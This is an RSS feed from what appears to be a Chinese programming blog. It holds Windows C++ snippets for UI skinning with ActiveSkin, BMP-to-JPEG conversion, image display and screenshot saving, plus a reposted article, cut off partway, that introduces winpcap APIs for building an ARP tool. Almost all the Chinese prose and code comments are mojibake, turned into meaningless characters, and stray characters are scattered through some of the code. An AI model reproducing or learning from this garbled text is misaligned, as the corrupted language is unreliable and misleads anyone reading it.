锘??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲精品无码成人,亚洲国产国产综合一区首页,亚洲国产精品综合久久20http://www.tkk7.com/yczz/category/20110.htmlzh-cnWed, 04 Jul 2007 17:52:06 GMTWed, 04 Jul 2007 17:52:06 GMT60PE鏂囦歡緇撴瀯http://www.tkk7.com/yczz/articles/128092.html椋為笩椋為笩Wed, 04 Jul 2007 05:45:00 GMThttp://www.tkk7.com/yczz/articles/128092.htmlhttp://www.tkk7.com/yczz/comments/128092.htmlhttp://www.tkk7.com/yczz/articles/128092.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/128092.htmlhttp://www.tkk7.com/yczz/services/trackbacks/128092.html闃呰鍏ㄦ枃

椋為笩 2007-07-04 13:45 鍙戣〃璇勮
]]>
璋冭瘯Release鐗堟湰搴旂敤紼嬪簭http://www.tkk7.com/yczz/articles/102781.html椋為笩椋為笩Fri, 09 Mar 2007 03:53:00 GMThttp://www.tkk7.com/yczz/articles/102781.htmlhttp://www.tkk7.com/yczz/comments/102781.htmlhttp://www.tkk7.com/yczz/articles/102781.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/102781.htmlhttp://www.tkk7.com/yczz/services/trackbacks/102781.html闃呰鍏ㄦ枃

椋為笩 2007-03-09 11:53 鍙戣〃璇勮
]]>
ActiveSkin 4.3 杞歡鎹㈣偆http://www.tkk7.com/yczz/articles/102657.html椋為笩椋為笩Thu, 08 Mar 2007 10:38:00 GMThttp://www.tkk7.com/yczz/articles/102657.htmlhttp://www.tkk7.com/yczz/comments/102657.htmlhttp://www.tkk7.com/yczz/articles/102657.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/102657.htmlhttp://www.tkk7.com/yczz/services/trackbacks/102657.html ActiveSkin 4.3 杞歡鎹㈣偆鍦╒C涓殑瀹炵幇

銆銆ActiveSkin鏄竴嬈劇粰杞歡鏇存崲鐨偆鐨凙ctiveX鎺т歡銆傚畠寰堣繕濂界殑灝嗚蔣浠剁晫闈㈣璁″伐浣滀粠綣佺悙紼嬪簭浠g爜緙栧啓涓В鏀懼嚭鏉ワ紝浣垮緱鍔熻兘璁捐鑰呭彲浠ヤ笓蹇冧簬鍔熻兘浠g爜鐨勫疄鐜幫紝鑰屾妸杞歡鐣岄潰浜ょ粰緹庡伐浜哄憳澶勭悊銆傛彁楂樹簡鐣岄潰璁捐鐨勫伐浣滄晥鐜囷紝鏄竴縐嶅緢濂界殑杞歡璁捐鎬濇兂銆?br />
涓嬮潰閫氳繃涓変釜紺轟緥鏉ヤ粙緇嶄粬鐨勪竴鑸嬌鐢ㄣ?br />
紺轟緥涓錛?/b>鏍囧噯鍨嬬毊鑲kinForm鐨勫璇濇宸ョ▼
銆銆鍦╒C鐜涓嬪緩绔嬩竴涓狹FC鍩烘湰瀵硅瘽妗嗗伐紼嬨傚湪瀵硅瘽妗嗙殑璧勬簮鏂囦歡閲孌lg.rc璁捐瀵硅瘽妗嗙晫闈腑錛屽垹鍘誨凡鏈夌殑鎸夐挳Buttons鍜屾爣絳綥ables錛屽茍鎻掑叆ActiveSkin鐨凙ctiveX鎺т歡錛屽懡鍚嶄負IDC_SKIN銆傚彸閿偣鍑籄ctiveSkin鎺т歡錛屽湪ActiveX灞炴ч噷閫夋嫨LoadSkin鑿滃崟欏癸紝鍙鍏堝姞杞戒竴涓猄kin鏂囦歡銆?br />鍦⊿tdAfx.h涓?//{{AFX_INSERT_LOCATION}} 涔嬪墠娣誨姞浠ヤ笅璇彞錛?

    //鐩殑鏄鍏ctiveSkin鐨勫嚱鏁版帴鍙e簱銆?
    #include <atlbase.h>
    #import "actskn43.ocx" no_implementation raw_interfaces_only raw_native_types
    using namespace ACTIVESKINLib;
鎺ョ潃錛屽湪Dlg.cpp鏂囦歡閲屾坊鍔犺鍙ワ細
    CComQIPtr<ISkin> m_pSkin=GetDlgItem(IDC_SKIN)->GetControlUnknown();//m_pSkin鏄簲鐢ㄧ▼搴忓叏灞閲忋?
    m_pSkin->LoadSkin(L"鐨偆鏂囦歡X鐨勮礬寰?);//濡傛灉ActiveSkin鎺т歡涓凡鏈夌毊鑲わ紝姝ゅ彞鍙渷鐣ャ?
    m_pSkin->ApplySkin((int)m_hWnd);
銆銆緙栬瘧榪愯錛屽彲浠ョ湅鍒扮毊鑲ゆ枃浠禭鎴愪負浜嗙▼搴忕殑榪愯鐣岄潰銆傚鏋滄兂瑕佸湪紼嬪簭榪愯鏃舵洿鎹㈢毊鑲わ紝閭d篃鏄彲浠ョ殑銆傚湪瀵硅瘽妗嗕笂寤虹珛涓涓狟utton錛屽茍娣誨姞Click浜嬩歡錛?
    void CMy1Dlg::OnBNewSkin() 
    {
      static char BASED_CODE szFilter[] = "ActiveSkin Files (*.skn)|*.skn||";//鏂囦歡榪囨護鍣ㄨ緗?
      CFileDialog dlg(FALSE, ".skn", NULL, OFN_HIDEREADONLY, szFilter);//Skin鏂囦歡閫夋嫨紿楀彛銆?
      if (dlg.DoModal() == IDOK)//Skin鏂囦歡閫夋嫨鎴愬姛錛?
      {
        USES_CONVERSION;
        m_pSkin->LoadSkin(T2W(dlg.GetPathName()));//杞藉叆鎸囧畾鐨凷kin鏂囦歡銆?
        m_pSkin->ApplySkin((int)m_hWnd);//浣垮綋鍓峉kin鐢熸晥銆?
      }
    } 
銆銆浣犱細鍙戠幇榪愯鏃朵富紿楀彛宸茬粡鎹㈣偆鎴愬姛浜嗭紝浣嗏滃叧浜庘濆璇濇絳夐潪涓葷獥鍙e茍娌″彉鍖栥傞渶瑕佸湪AboutDlg鐨凮nInitDialog()浜嬩歡涓姞鍏ヤ竴鍙ワ細
    m_pSkin->ApplySkin((int)m_hWnd);
鍐嶈繍琛屽氨涓鍒嘜k浜嗭紒

紺轟緥浜岋細鏍囧噯鐨偆SkinForm鐨勫鏂囨。宸ョ▼
銆銆鍜岀ず渚嬩竴鐨勫仛娉曠被浼鹼紝涓嶅悓鐨勫彧鏄瓙紿椾綋鍦–hildFrm.cpp鐨凜reate浜嬩歡涓鍋氫慨鏀癸細
    BOOL bRes = CMDIChildWnd::Create(lpszClassName, lpszWindowName, dwStyle, rect, pParentWnd, pContext);
    m_pSkin->ApplySkin((long)m_hWnd);
    return bRes;
榪欐牱灝卞彲浠ヤ簡銆?

紺轟緥涓夛細鑷敱鐨偆SkinFreeForm鐨勪簨浠舵搷浣?br />銆銆鍜屼笂榪扮殑SkinForm涓嶅悓錛孲kinFreeFrom鏄彟涓綾誨瀷鐨勭毊鑲ゆ枃浠舵柟妗堛傚洜姝ゅ畠鐨勬搷浣滄柟娉曚笂灝辨湁鎵涓嶅悓浜嗐傚彲浠ュ弬鐓ctiveSkin鑷甫鏍蜂緥涓殑DesktopColorizer涓渚嬨係kinForm鍜孲kinFreeFrom鐨勪富瑕佸尯鍒湪浜嶴kinApply鏂規硶鍜屼簨浠剁殑椹卞姩鏂瑰紡涓娿?
    if(FAILED(m_pSkin->LoadSkin(Temp))||銆銆銆//鍧囦嬌鐢↙oadSkin()瑁呰澆鏌愪竴Skin錛屽弬鏁版槸Skin鏂囦歡鐨勮礬寰勫悕銆?
      FAILED(m_pSkin->ApplySkinByName((long)m_hWnd, L"FreeForm")))

      //SkinForm綾誨瀷鐨勭毊鑲や嬌鐢ˋpplySkin浣垮叾鐢熸晥錛?
      //榪欑鏂瑰紡浼氳嚜鍔ㄥ皢鏌怱kin涓殑鎵鏈塖kinObject鍏冪礌鏇夸唬鎸囧畾Handle鐨勭獥鍙c?
      //SkinFreeForm綾誨瀷鐨勭毊鑲や嬌鐢ˋpplySkinByName()浣垮叾鐢熸晥錛?
      //鍏朵腑絎竴涓弬鏁版槸紿楀彛鍙ユ焺錛岀浜屼釜鍙傛暟鏄疭kinBuilder涓竴涓狾bject鐨勫悕瀛椼?
    {
      MessageBox("Could not load or apply the skin.");
      PostMessage(WM_CLOSE); 
      return FALSE;
    }
銆銆浜嬩歡椹卞姩鐨勫尯鍒細SkinForm鎹㈣偆鏃朵笉褰卞搷紼嬪簭浠g爜鐨勫師浜嬩歡宸ヤ綔鏂瑰紡錛屽彧鏄晫闈笂鐨勬崲鑲わ紝鍥犺孲kinForm::ApplySkin(Handle)灝監K浜嗭紱浣嗘槸SkinFreeForm灝變笉鍚屼簡錛屽畠蹇呴』鐢ㄤ竴涓秷鎭車錛岄噰鐢ㄦ秷鎭殑鏂瑰紡浣跨▼搴忚幏寰桽kin涓婄殑浜嬩歡錛岃屼笖鍦ㄥ叾浜嬩歡涓噰鐢↖SkinObject::GetName(BSTR *)鑾峰緱鐩稿叧鐨勭毊鑲ゅ厓绱狅紝鐢℅etSkinnedWindow(hWnd).FindObject("Screen")鏉ヨ幏鍙栫浉搴旂殑鍏冪礌鍙ユ焺璁劇疆鍏冪礌鐘舵併傜畝鍗曠殑娑堟伅娉靛彲浠ラ氳繃Skin鎺т歡涓婂彸閿瓻vent璁劇疆騫剁紪鍐欍?br />銆銆鍏蜂綋瀹炵幇璇風湅紺轟緥婧愪唬鐮併傜ず渚嬪湪浣跨敤鍓嶈瀹夎濂紸ctiveSkin4.3錛屽彲鑳借繕闇瑕佷慨鏀逛簨渚嬩腑Skin鎺т歡鍒濆鐨凩oadSkin(Skin鏂囦歡)鎵嶈兘姝e父浣跨敤

椋為笩 2007-03-08 18:38 鍙戣〃璇勮
]]>
bmp杞琂PGhttp://www.tkk7.com/yczz/articles/100992.html椋為笩椋為笩Tue, 27 Feb 2007 11:26:00 GMThttp://www.tkk7.com/yczz/articles/100992.htmlhttp://www.tkk7.com/yczz/comments/100992.htmlhttp://www.tkk7.com/yczz/articles/100992.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/100992.htmlhttp://www.tkk7.com/yczz/services/trackbacks/100992.html#include<gdiplus.h>聽聽
#include<GdiPlusEnums.h>
#pragma comment(lib,"GdiPlus.lib")
using namespace Gdiplus;
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)聽聽
{
聽聽 UINT聽 num = 0;聽聽聽聽聽聽聽聽聽 // number of image encoders
聽聽 UINT聽 size = 0;聽聽聽聽聽聽聽聽 // size of the image encoder array in bytes
聽聽 GdiplusStartupInput gdiplusStartupInput;
聽聽 ULONG_PTR聽聽聽聽聽聽聽聽聽聽 gdiplusToken;
聽聽 GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
聽聽 ImageCodecInfo* pImageCodecInfo = NULL;
聽聽 GetImageEncodersSize(&num, &size);
聽聽 if(size == 0)聽聽
聽聽聽 return -1;聽 // Failure
聽聽 pImageCodecInfo = (ImageCodecInfo*)(malloc(size));
聽聽 if(pImageCodecInfo == NULL)
聽聽聽 return -1;聽 // Failure
聽聽 GetImageEncoders(num, size, pImageCodecInfo);
聽聽 for(UINT j = 0; j < num; ++j)聽聽
聽聽 {聽
聽聽聽 if( wcscmp(pImageCodecInfo[j].MimeType, format) == 0 )聽聽
聽聽聽 {
聽聽聽聽 *pClsid = pImageCodecInfo[j].Clsid;
聽聽聽聽 free(pImageCodecInfo);
聽聽聽聽 return j;聽 // Success聽
聽聽聽 }聽聽聽聽
聽聽 }
聽聽 free(pImageCodecInfo);
聽聽 GdiplusShutdown(gdiplusToken);
聽聽 return -1;聽 // Failure聽
}聽

void BMP2JPG(CString strBMPFile,CString strJPGFile)
{
聽聽聽 CLSID聽 encoderClsid;
聽聽聽 WCHAR聽 strGuid[39];
聽聽聽 if(GetEncoderClsid(L"image/jpeg", &encoderClsid) >= 0)
聽聽聽 StringFromGUID2(encoderClsid, strGuid, 39);
聽聽聽 Image image(strBMPFile.AllocSysString());
聽聽聽 image.Save(strJPGFile.AllocSysString(),&encoderClsid,NULL);
}

椋為笩 2007-02-27 19:26 鍙戣〃璇勮
]]>
璇誨彇紓佺洏鍥劇墖鏂囦歡騫舵樉紺?/title><link>http://www.tkk7.com/yczz/articles/100639.html</link><dc:creator>椋為笩</dc:creator><author>椋為笩</author><pubDate>Sun, 25 Feb 2007 13:16:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100639.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100639.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100639.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100639.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100639.html</trackback:ping><description><![CDATA[//鍙傛暟 鍥劇墖璺緞錛岀獥鍙e彞鏌勶紝鍥劇墖瀹斤紝楂?br />HRESULT ShowPic(char *lpstrFile,HWND hWnd,int nScrWidth,int nScrHeight) <br />{ <br />聽HDC hDC_Temp=GetDC(hWnd); <br />聽<br />聽IPicture *pPic; <br />聽IStream *pStm; <br />聽<br />聽BOOL bResult; <br />聽<br />聽HANDLE hFile=NULL; <br />聽DWORD dwFileSize,dwByteRead; <br />聽<br />聽//鎵撳紑紜洏涓殑鍥懼艦鏂囦歡 <br />聽hFile=CreateFile(lpstrFile,GENERIC_READ, <br />聽聽FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); <br />聽<br />聽if (hFile!=INVALID_HANDLE_VALUE) <br />聽{ <br />聽聽dwFileSize=GetFileSize(hFile,NULL);//鑾峰彇鏂囦歡瀛楄妭鏁?<br />聽聽<br />聽聽if (dwFileSize==0xFFFFFFFF) <br />聽聽聽return E_FAIL; <br />聽} <br />聽else <br />聽{ <br />聽聽return E_FAIL; <br />聽} <br />聽<br />聽<br />聽//鍒嗛厤鍏ㄥ眬瀛樺偍絀洪棿 <br />聽HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, dwFileSize); <br />聽LPVOID pvData = NULL; <br />聽<br />聽if (hGlobal == NULL) <br />聽聽return E_FAIL; <br />聽<br />聽if ((pvData = GlobalLock(hGlobal)) == NULL)//閿佸畾鍒嗛厤鍐呭瓨鍧?<br />聽聽return E_FAIL; <br />聽<br />聽ReadFile(hFile,pvData,dwFileSize,&dwByteRead,NULL);//鎶婃枃浠惰鍏ュ唴瀛樼紦鍐插尯 <br />聽<br />聽GlobalUnlock(hGlobal); <br />聽<br />聽CreateStreamOnHGlobal(hGlobal, TRUE, &pStm); <br />聽<br />聽//瑁呭叆鍥懼艦鏂囦歡 <br />聽bResult=OleLoadPicture(pStm,dwFileSize,TRUE,IID_IPicture,(LPVOID*)&pPic); <br />聽<br />聽if(FAILED(bResult)) <br />聽聽return E_FAIL; <br />聽<br />聽OLE_XSIZE_HIMETRIC hmWidth;//鍥劇墖鐨勭湡瀹炲搴?<br />聽OLE_YSIZE_HIMETRIC hmHeight;//鍥劇墖鐨勭湡瀹為珮搴?<br />聽pPic->get_Width(&hmWidth); <br />聽pPic->get_Height(&hmHeight); <br />聽<br />聽<br />聽//灝嗗浘褰㈣緭鍑哄埌灞忓箷涓婏紙鏈夌偣鍍廈itBlt錛?<br />聽bResult=pPic->Render(hDC_Temp,0,0,nScrWidth,nScrHeight, <br />聽聽0,hmHeight,hmWidth,-hmHeight,NULL); <br />聽<br />聽pPic->Release(); <br />聽<br />聽CloseHandle(hFile);//鍏抽棴鎵撳紑鐨勬枃浠?<br />聽<br />聽if (SUCCEEDED(bResult)) <br />聽{ <br />聽聽return S_OK; <br />聽} <br />聽else <br />聽{ <br />聽聽return E_FAIL; <br />聽} <br />} <img src ="http://www.tkk7.com/yczz/aggbug/100639.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">椋為笩</a> 2007-02-25 21:16 <a href="http://www.tkk7.com/yczz/articles/100639.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>灞忓箷鎴浘騫朵繚瀛?/title><link>http://www.tkk7.com/yczz/articles/100425.html</link><dc:creator>椋為笩</dc:creator><author>椋為笩</author><pubDate>Fri, 23 Feb 2007 13:08:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100425.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100425.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100425.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100425.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100425.html</trackback:ping><description><![CDATA[void 聽 SaveBmp(HBITMAP 聽 hbmp, 聽 LPCTSTR 聽 sIconFileName)聽聽聽<br />{ 聽 <br />聽 if(hbmp==NULL 聽 || 聽 sIconFileName==NULL) 聽 <br />聽 return; 聽 <br />聽 //warning: 聽 this 聽 code 聽 snippet 聽 is 聽 not 聽 bullet 聽 proof. 聽 <br />聽 //do 聽 error 聽 check 聽 by 聽 yourself 聽 [masterz] 聽 <br />聽 PICTDESC 聽 picdesc; 聽 <br />聽 picdesc.cbSizeofstruct 聽 = 聽 sizeof(PICTDESC); 聽 <br />聽 picdesc.picType 聽 = 聽 PICTYPE_BITMAP 聽 ; 聽 聽 聽 聽 聽 <br />聽 picdesc.bmp.hpal 聽 = 聽 NULL; 聽 <br />聽 picdesc.bmp.hbitmap 聽 = 聽 hbmp; 聽 <br />聽 IPicture* 聽 pPicture=NULL; 聽 <br />聽 OleCreatePictureIndirect(&picdesc, 聽 IID_IPicture, 聽 TRUE,(VOID**)&pPicture); 聽 <br />聽 LPSTREAM 聽 pStream; 聽 <br />聽 CreateStreamOnHGlobal(NULL,TRUE,&pStream); 聽 <br />聽 LONG 聽 size; 聽 <br />聽 HRESULT 聽 hr=pPicture->SaveAsFile(pStream,TRUE,&size); 聽 <br />聽 char 聽 pathbuf[1024]; 聽 <br />聽 strcpy(pathbuf,sIconFileName); 聽 <br />聽 CFile 聽 iconfile; 聽 <br />聽 iconfile.Open(pathbuf, 聽 CFile::modeCreate|CFile::modeWrite); 聽 <br />聽 LARGE_INTEGER 聽 li; 聽 <br />聽 li.HighPart 聽 =0; 聽 <br />聽 li.LowPart 聽 =0; 聽 <br />聽 ULARGE_INTEGER 聽 ulnewpos; 聽 <br />聽 pStream->Seek( 聽 li,STREAM_SEEK_SET,&ulnewpos); 聽 <br />聽 ULONG 聽 uReadCount 聽 = 聽 1; 聽 <br />聽 while(uReadCount>0) 聽 <br />聽 { 聽 <br />聽 聽 <br />聽 pStream->Read(pathbuf,sizeof(pathbuf),&uReadCount); 聽 <br />聽 if(uReadCount>0) 聽 <br />聽 iconfile.Write(pathbuf,uReadCount); 聽 <br />聽 } 聽 <br />聽 pStream->Release(); 聽 <br />聽 iconfile.Close();聽聽聽<br />}聽聽聽<br />聽聽聽聽<br /> void 聽 CsaveviewView::OnSaveview()聽聽聽<br />{ 聽 <br />聽 CClientDC 聽 dc(this); 聽 <br />聽 CDC 聽 dcmem; 聽 <br />聽 dcmem.CreateCompatibleDC(&dc); 聽 <br />聽 CBitmap 聽 bmp; 聽 <br />聽 CRect 聽 rc; 聽 <br />聽 GetClientRect(&rc); 聽 <br />聽 bmp.CreateCompatibleBitmap(&dc,rc.Width(),rc.Height()); 聽 <br />聽 dcmem.SelectObject(&bmp); 聽 <br />聽 dcmem.BitBlt(0,0,rc.Width(),rc.Height(),&dc,0,0,SRCCOPY); 聽 <br />聽 SaveBmp(bmp,"c:\\a.bmp");聽聽聽<br />聽}<img src ="http://www.tkk7.com/yczz/aggbug/100425.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">椋為笩</a> 2007-02-23 21:08 <a href="http://www.tkk7.com/yczz/articles/100425.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>錛堣漿錛夎璋堣皟鐢╳inpcap椹卞姩鍐檃rp澶氬姛鑳藉伐鍏?/title><link>http://www.tkk7.com/yczz/articles/100172.html</link><dc:creator>椋為笩</dc:creator><author>椋為笩</author><pubDate>Sun, 18 Feb 2007 03:32:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100172.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100172.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100172.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100172.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100172.html</trackback:ping><description><![CDATA[璇﹁皥璋冪敤winpcap椹卞姩鍐檃rp澶氬姛鑳藉伐鍏?br /><br />Author: TOo2y[鍘熷垱]<br />E-mail: TOo2y@safechina.net<br />Homepage: <a target="_blank">www.safechina.net</a><br />Date: 11-9-2002<br /><br />涓 winpcap椹卞姩綆浠?br />浜?Packet.dll鐩稿叧鏁版嵁緇撴瀯鍙婂嚱鏁?br />涓?T-ARP鍔熻兘鍙婂師鐞嗕粙緇?br />鍥?T-ARP涓昏浠g爜鍒嗘瀽<br />浜?T-ARP婧愪唬鐮?br /><br />涓錛墂inpcap椹卞姩綆浠?br />聽聽聽聽winpcap(windows packet capture)鏄痺indows騫沖彴涓嬩竴涓厤璐癸紝鍏叡鐨勭綉緇滆闂郴緇熴傚紑鍙憌inpcap榪欎釜欏圭洰鐨勭洰鐨勫湪浜庝負win32搴旂敤紼嬪簭鎻愪緵璁塊棶緗戠粶搴曞眰鐨勮兘鍔涖傚畠鎻愪緵浜嗕互涓嬬殑鍚勯」鍔熻兘錛?br />聽聽聽聽1> 鎹曡幏鍘熷鏁版嵁鎶ワ紝鍖呮嫭鍦ㄥ叡浜綉緇滀笂鍚勪富鏈哄彂閫?鎺ユ敹鐨勪互鍙婄浉浜掍箣闂翠氦鎹㈢殑鏁版嵁鎶ワ紱<br />聽聽聽聽2> 鍦ㄦ暟鎹姤鍙戝線搴旂敤紼嬪簭涔嬪墠錛屾寜鐓ц嚜瀹氫箟鐨勮鍒欏皢鏌愪簺鐗規畩鐨勬暟鎹姤榪囨護鎺夛紱<br />聽聽聽聽3> 鍦ㄧ綉緇滀笂鍙戦佸師濮嬬殑鏁版嵁鎶ワ紱<br />聽聽聽聽4> 鏀墮泦緗戠粶閫氫俊榪囩▼涓殑緇熻淇℃伅銆?br /><br />聽聽聽聽winpcap鐨勪富瑕佸姛鑳藉湪浜庣嫭绔嬩簬涓繪満鍗忚錛堝TCP-IP)鑰屽彂閫佸拰鎺ユ敹鍘熷鏁版嵁鎶ャ備篃灝辨槸璇達紝winpcap涓嶈兘闃誨錛岃繃婊ゆ垨鎺у埗鍏朵粬搴旂敤紼嬪簭鏁版嵁鎶ョ殑鍙戞敹錛屽畠浠呬粎鍙槸鐩戝惉鍏變韓緗戠粶涓婁紶閫佺殑鏁版嵁鎶ャ傚洜姝わ紝瀹冧笉鑳界敤浜嶲oS璋冨害紼嬪簭鎴栦釜浜洪槻鐏銆?br /><br />聽聽聽聽鐩墠錛寃inpcap寮鍙戠殑涓昏瀵硅薄鏄痺indows NT/2000/XP錛岃繖涓昏鏄洜涓哄湪浣跨敤winpcap鐨勭敤鎴蜂腑鍙湁涓灝忛儴鍒嗘槸浠呬嬌鐢╳indows 95/98/Me錛屽茍涓擬$涔熷凡緇忔斁寮冧簡瀵箇in9x鐨勫紑鍙戙傚洜姝ゆ湰鏂囩浉鍏崇殑紼嬪簭T-ARP涔熸槸闈㈠悜NT/2000/XP鐢ㄦ埛鐨勩傚叾瀹瀢inpcap涓殑闈㈠悜9x緋葷粺鐨勬蹇靛拰NT緋葷粺鐨勯潪甯哥浉浼鹼紝鍙槸鍦ㄦ煇浜涘疄鐜頒笂鏈夌偣宸紓錛屾瘮濡傝9x鍙敮鎸丄NSI緙栫爜錛岃孨T緋葷粺鍒欐彁鍊′嬌鐢║nicode緙栫爜銆?br /><br />聽聽聽聽鏈枃璁ㄨ鐨勬槸packet.dll鎵鎻愪緵鐨勫悇縐嶅嚱鏁幫紝鍥犱負瀹冧滑瀹屽叏鍙互瀹炵幇鏈枃鎵甯屾湜鐨勫悇欏硅姹傘備絾鏄鏋滀綘鏈夊叾浠栫壒鍒殑鎴栨洿楂樼駭鐨勮姹傦紝winpcap涔熸彁渚涗簡鍙︿竴涓姩鎬佽繛鎺ュ簱wpcap.dll銆傝櫧鐒秝pcap.dll渚濋潬浜巔acket.dll,浣嗘槸瀹冨嵈鎻愪緵浜嗕竴縐嶆洿綆鍗曪紝鐩存帴錛屾湁鍔涚殑鏂規硶鏉ユ洿濂界殑鍒╃敤緙栫▼鐜銆傛瘮濡傛崟鑾蜂竴涓暟鎹姤錛屽垱寤轟竴涓暟鎹姤榪囨護瑁呯疆鎴栧皢鐩戝惉鍒扮殑鏁版嵁鎶ヨ漿瀛樺埌鏌愪釜鏂囦歡絳夛紝wpcap.dll閮戒細涓轟綘鎻愪緵鏇村姞瀹夊叏鐨勫疄鐜版柟娉曘?br /><br />浜岋級Packet.dll鐩稿叧鏁版嵁緇撴瀯鍙婂嚱鏁奧犅?br />聽聽聽聽鏈枃鐨勭洰鐨勪箣涓鍦ㄤ簬浠嬬粛濡備綍鍒╃敤winpcap椹卞姩鍐橝RP宸ュ叿錛屽洜姝ゆ湁蹇呰浠嬬粛涓浜涚浉鍏崇殑鏁版嵁緇撴瀯鍜屽嚱鏁幫紝瑕佷笉鐒剁湅鐫涓琛岃浠g爜鍜屽嚱鏁幫紝涔熻浼氭湁浜涗笉鐭ユ墍浜戙?br /><br />聽聽聽聽棣栧厛浠嬬粛涓浜涚浉鍏崇殑鏁版嵁緇撴瀯錛?br />聽聽聽聽聽聽1. typedef struct _ADAPTER聽聽ADAPTER聽聽//鎻忚堪涓涓綉緇滈傞厤鍣紱<br />聽聽聽聽聽聽2. typedef struct _PACKET PACKET聽聽聽聽 //鎻忚堪涓緇勭綉緇滄暟鎹姤鐨勭粨鏋勶紱<br />聽聽聽聽聽聽3. typedef struct NetType NetType聽聽聽聽//鎻忚堪緗戠粶綾誨瀷鐨勬暟鎹粨鏋勶紱<br />聽聽聽聽聽聽4. typedef struct npf_if_addr npf_if_addr聽聽//鎻忚堪涓涓綉緇滈傞厤鍣ㄧ殑ip鍦板潃錛?br />聽聽聽聽聽聽5. struct bpf_hdr聽聽 //鏁版嵁鎶ュご閮紱<br />聽聽聽聽聽聽6. struct bpf_stat聽聽//褰撳墠鎹曡幏鏁版嵁鎶ョ殑緇熻淇℃伅銆?br /><br />聽聽聽聽涓嬮潰錛屽皢浠嬬粛T-ARP鐢ㄥ埌鐨勫悇涓嚱鏁幫紝浠栦滑閮芥槸鍦╬acket.dll涓畾涔夌殑錛?br />聽聽聽聽1>聽聽LPPACKET PacketAllocatePacket(void)<br />聽聽聽聽聽聽聽聽濡傛灉榪愯鎴愬姛錛岃繑鍥炰竴涓猒PACKET緇撴瀯鐨勬寚閽堬紝鍚﹀垯榪斿洖NULL銆傛垚鍔熻繑鍥炵殑緇撴灉灝嗕細浼犻佸埌PacketReceivePacket()鍑芥暟錛屾帴鏀舵潵鑷┍鍔ㄧ殑緗戠粶鏁版嵁鎶ャ?br /><br />聽聽聽聽2>聽聽VOID PacketCloseAdapter(LPADAPTER lpAdapter)<br />聽聽聽聽聽聽聽聽鍏抽棴鍙傛暟涓彁渚涚殑緗戠粶閫傞厤鍣紝閲婃斁鐩稿叧鐨凙DAPTER緇撴瀯銆?br /><br />聽聽聽聽3>聽聽VOID PacketFreePacket(LPPACKET lpPacket)<br />聽聽聽聽聽聽聽聽閲婃斁鍙傛暟鎻愪緵鐨刜PACKET緇撴瀯銆?br /><br />聽聽聽聽4>聽聽BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize)<br />聽聽聽聽聽聽聽聽榪斿洖鍙互寰楀埌鐨勭綉緇滈傞厤鍣ㄥ垪琛ㄥ強鎻忚堪銆?br /><br />聽聽聽聽5>聽聽BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries)<br />聽聽聽聽聽聽聽聽榪斿洖鏌愪釜緗戠粶閫傞厤鍣ㄧ殑鍏ㄩ潰鍦板潃淇℃伅銆?br />聽聽聽聽聽聽聽聽鍏朵腑npf_ip_addr緇撴瀯鍖呭惈錛欼PAddress,SubnetMask,Broadcast<br />聽聽聽聽聽聽聽聽IPAddress: ip鍦板潃<br />聽聽聽聽聽聽聽聽SubnetMask: 瀛愮綉鎺╃爜<br />聽聽聽聽聽聽聽聽Broadcast: 騫挎挱鍦板潃<br /><br />聽聽聽聽6>聽聽BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type)<br />聽聽聽聽聽聽聽聽榪斿洖鏌愪釜緗戠粶閫傞厤鍣ㄧ殑MAC綾誨瀷銆?br />聽聽聽聽聽聽聽聽NetType緇撴瀯閲屽寘鍚簡LinkSpeed(閫熷害錛夊拰LinkType(綾誨瀷錛夈傚叾涓璍inkType鍖呭惈浠ヤ笅鍑犵鎯呭喌錛?br />聽聽聽聽聽聽聽聽聽聽NdisMedium802_3: Ethernet(802.3)<br />聽聽聽聽聽聽聽聽聽聽NdisMediumWan: WAN<br />聽聽聽聽聽聽聽聽聽聽NdisMedium802_5: Token Ring(802.5)<br />聽聽聽聽聽聽聽聽聽聽NdisMediumFddi: FDDI<br />聽聽聽聽聽聽聽聽聽聽NdisMediumAtm: ATM<br />聽聽聽聽聽聽聽聽聽聽NdisMediumArcnet878_2: ARCNET(878.2)<br /><br />聽聽聽聽7>聽聽BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s)<br />聽聽聽聽聽聽聽聽榪斿洖鍑犱釜鍏充簬褰撳墠鎹曡幏鎶ュ憡鐨勭粺璁′俊鎭?br />聽聽聽聽聽聽聽聽鍏朵腑bpf_stat緇撴瀯鍖呭惈錛歜s_recv, 